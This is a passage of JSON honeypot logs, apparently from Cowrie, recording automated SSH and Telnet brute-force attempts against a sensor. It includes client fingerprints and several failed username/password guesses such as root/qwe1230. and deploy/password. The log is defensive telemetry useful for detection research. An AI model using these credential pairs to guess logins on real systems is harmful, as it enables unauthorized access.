"rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:48.063207Z","src_ip":"141.11.88.14","session":"a820b7f18d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"root","message":"login attempt [app/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:48.803116Z","src_ip":"141.11.88.14","session":"a820b7f18d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:49.887200Z","src_ip":"141.11.88.14","session":"a820b7f18d25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":32130,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbe7c4cd744a","protocol":"ssh","message":"New connection: 141.11.88.14:32130 (10.17.0.5:22) [session: cbe7c4cd744a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:54.554466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:54.892809Z","src_ip":"141.11.88.14","session":"cbe7c4cd744a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:54.896060Z","src_ip":"141.11.88.14","session":"cbe7c4cd744a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p@ssw0rd","message":"login attempt [ubuntu/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:55.859926Z","src_ip":"141.11.88.14","session":"cbe7c4cd744a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:54:57.052900Z","src_ip":"141.11.88.14","session":"cbe7c4cd744a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57520,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9aeb87edfd0","protocol":"telnet","message":"New connection: 128.199.8.54:57520 (159.203.135.109:23) [session: d9aeb87edfd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:00.297748Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":35724,"dst_ip":"10.17.0.5","dst_port":22,"session":"6eb4a3d9de6d","protocol":"ssh","message":"New connection: 141.11.88.14:35724 (10.17.0.5:22) [session: 6eb4a3d9de6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:03.051439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:03.144313Z","src_ip":"141.11.88.14","session":"6eb4a3d9de6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:03.184830Z","src_ip":"141.11.88.14","session":"6eb4a3d9de6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:04.614427Z","src_ip":"141.11.88.14","session":"6eb4a3d9de6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:05.802962Z","src_ip":"141.11.88.14","session":"6eb4a3d9de6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":24872,"dst_ip":"10.17.0.5","dst_port":22,"session":"3971ab8ef5fe","protocol":"ssh","message":"New connection: 141.11.88.14:24872 (10.17.0.5:22) [session: 3971ab8ef5fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:11.913818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:12.105392Z","src_ip":"141.11.88.14","session":"3971ab8ef5fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:12.108505Z","src_ip":"141.11.88.14","session":"3971ab8ef5fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:13.475309Z","src_ip":"141.11.88.14","session":"3971ab8ef5fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:14.911660Z","src_ip":"141.11.88.14","session":"3971ab8ef5fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":56626,"dst_ip":"10.17.0.5","dst_port":22,"session":"c81009cdad7a","protocol":"ssh","message":"New connection: 103.143.231.24:56626 (10.17.0.5:22) [session: c81009cdad7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:17.432567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:17.444292Z","src_ip":"103.143.231.24","session":"c81009cdad7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:17.516135Z","src_ip":"103.143.231.24","session":"c81009cdad7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe1230.","message":"login attempt [root/qwe1230.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:17.838852Z","src_ip":"103.143.231.24","session":"c81009cdad7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56586,"dst_ip":"10.17.0.5","dst_port":22,"session":"e535064a5f9b","protocol":"ssh","message":"New connection: 141.11.88.14:56586 (10.17.0.5:22) [session: e535064a5f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:18.810715Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:18.920110Z","src_ip":"103.143.231.24","session":"c81009cdad7a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:18.929950Z","src_ip":"141.11.88.14","session":"e535064a5f9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:18.934544Z","src_ip":"141.11.88.14","session":"e535064a5f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"password","message":"login attempt [deployer/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:20.679160Z","src_ip":"141.11.88.14","session":"e535064a5f9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":46668,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7ee94eb8873","protocol":"ssh","message":"New connection: 197.5.145.150:46668 (10.17.0.5:22) [session: e7ee94eb8873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:21.178653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:21.182873Z","src_ip":"197.5.145.150","session":"e7ee94eb8873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:21.311809Z","src_ip":"197.5.145.150","session":"e7ee94eb8873","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9090opop","message":"login attempt [root/9090opop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:21.838322Z","src_ip":"197.5.145.150","session":"e7ee94eb8873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:21.868424Z","src_ip":"141.11.88.14","session":"e535064a5f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:22.972867Z","src_ip":"197.5.145.150","session":"e7ee94eb8873","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56624,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef3ad37a4a53","protocol":"ssh","message":"New connection: 141.11.88.14:56624 (10.17.0.5:22) [session: ef3ad37a4a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:24.298812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:24.393155Z","src_ip":"141.11.88.14","session":"ef3ad37a4a53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:24.396217Z","src_ip":"141.11.88.14","session":"ef3ad37a4a53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1","message":"login attempt [dev/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:26.535447Z","src_ip":"141.11.88.14","session":"ef3ad37a4a53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:27.851218Z","src_ip":"141.11.88.14","session":"ef3ad37a4a53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":47838,"dst_ip":"159.203.135.109","dst_port":22,"session":"a823ed9b602a","protocol":"ssh","message":"New connection: 211.253.37.225:47838 (159.203.135.109:22) [session: a823ed9b602a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:28.858054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:28.865827Z","src_ip":"211.253.37.225","session":"a823ed9b602a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:29.070630Z","src_ip":"211.253.37.225","session":"a823ed9b602a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wsp","password":"wsp","message":"login attempt [wsp/wsp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:29.956445Z","src_ip":"211.253.37.225","session":"a823ed9b602a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:31.163715Z","src_ip":"211.253.37.225","session":"a823ed9b602a","protocol":"ssh"}
